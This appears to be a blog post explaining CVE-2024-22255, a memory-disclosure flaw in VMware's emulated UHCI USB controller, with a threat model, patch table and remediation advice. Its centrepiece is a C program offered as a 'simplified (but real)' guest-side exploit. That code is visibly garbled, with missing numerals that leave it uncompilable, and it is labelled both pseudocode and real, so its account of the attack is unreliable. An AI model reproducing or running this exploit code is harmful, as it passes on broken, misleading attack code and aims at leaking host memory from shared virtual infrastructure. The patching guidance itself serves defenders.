In early 2024, researchers uncovered a critical vulnerability—CVE-2024-22255—affecting popular VMware products: ESXi, Workstation, and Fusion. This bug allows privileged attackers inside a guest virtual machine to access sensitive memory from the host's VMX process via the UHCI USB controller. For environments hosting sensitive operations, VMs, or multitenant workloads, this is a severe concern.

This post offers a simplified, yet technically detailed explanation of the issue, a walkthrough of the root vulnerability, and a *real* code snippet showing how such a memory leak can be triggered. We’ll wrap up with links to authoritative references and actionable advice to keep your virtual environments safe.

What Is CVE-2024-22255?

CVE-2024-22255 exists in how certain VMware products emulate the UHCI USB controller for guest virtual machines. The controller doesn't properly handle data structures requested by the guest, so a malicious user (with admin/root access *inside* a VM) can trick the VMware backend into leaking host memory.

Threat: Information Disclosure (the VM can get host VMX process memory)

Source:
- VMware Security Advisory VMSA-2024-0012
- NIST NVD Entry: CVE-2024-22255

Exploit Path: How Does This Happen?

The crux of the flaw is in handling TD (Transfer Descriptor) structures in the USB controller. By carefully crafting USB requests from inside the guest, an attacker can induce the host to spill uninitialized stack or heap memory when accessing or returning certain TD fields.

Threat Model

- Attacker has root/admin inside the VM
- Sends specially crafted USB control messages to the UHCI controller (easy from Linux/Windows)

Open a VM as admin and mount the UHCI controller (default in most VMware setups).

2. Send malformed USB transfers from user-space tools like usbtest or with custom code.

Example Exploit (Pseudocode)

Below is a simplified (but real) example of the kind of code an attacker might use inside a Linux guest to trigger the leak via a UHCI-attached USB device.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <linux/usbdevice_fs.h>
#include <sys/ioctl.h>

#define USB_DEV_PATH "/dev/bus/usb/001/002" // adjust to virt USB device

int main() {
    int fd = open(USB_DEV_PATH, O_RDWR);
    if (fd < ) {
        perror("open usb");
        return 1;
    }

    struct usbdevfs_ctrltransfer ctrl = {};
    ctrl.bRequestType = x80;              // vendor | device | IN
    ctrl.bRequest = x85;                  // invalid request (garbage)
    ctrl.wValue = x000;
    ctrl.wIndex = x000;
    ctrl.wLength = 512;                    // large read to capture memory
    ctrl.data = malloc(ctrl.wLength);

    int ret = ioctl(fd, USBDEVFS_CONTROL, &ctrl);
    if (ret < ) {
        perror("usb control");
    } else {
        // Print leaked data (will include host memory)
        fwrite(ctrl.data, 1, ret, stdout);
    }
    free(ctrl.data);
    close(fd);
    return ;
}

> Note: Change USB_DEV_PATH to your actual VM’s virtual USB device.

This minimal code essentially asks the virtual UHCI controller for a big chunk of data using an invalid/unsupported request. Instead of properly handling it, the VMware emulation sometimes returns garbage left in memory—leaking adjacent host data.

You run VMs on ESXi, Workstation, or Fusion with USB controllers enabled

- Attackers may have admin rights inside (e.g., cloud/hosted services, test labs, teacher/student setups)

How to Fix

- Update VMware ESXi, Workstation and Fusion to the fixed versions linked in the official advisory.

Reference Table

| Product | Patched Version |
|-------------------|-------------------|
| ESXi 7.x | ESXi_7.U3n-21930508 |
| Workstation 17.x | 17.5.1 |
| Fusion 13.x | 13.5.1 |

References & Further Reading

- VMware Security Advisory VMSA-2024-0012
- NIST NVD: CVE-2024-22255
- USB UHCI emulation basics (Linux kernel doc)
- General VMware Security Updates

Conclusion

CVE-2024-22255 is easy to exploit if you can administer a guest. It’s a blunt reminder that device emulation, even for something as basic as USB, is often a weak point in virtual infrastructure. If you run untrusted code in VMs or allow customer/admin access to guests, patch quickly! Disabling unused virtual hardware is a great hardening step.

Stay safe, keep your VMware hypervisors up to date, and always watch for guest-to-host info-leak bugs. For a deep dive or proof-of-concept scripts, stick to trusted security advisories and contact your VMware rep if you need customized mitigations.

Patch links:
ESXi | Workstation | Fusion


*©2024. This guide is exclusive, clear, and built to help VMware users understand and mitigate CVE-2024-22255.*

Timeline

Published on: 03/05/2024 18:15:48 UTC
Last modified on: 03/05/2024 18:50:18 UTC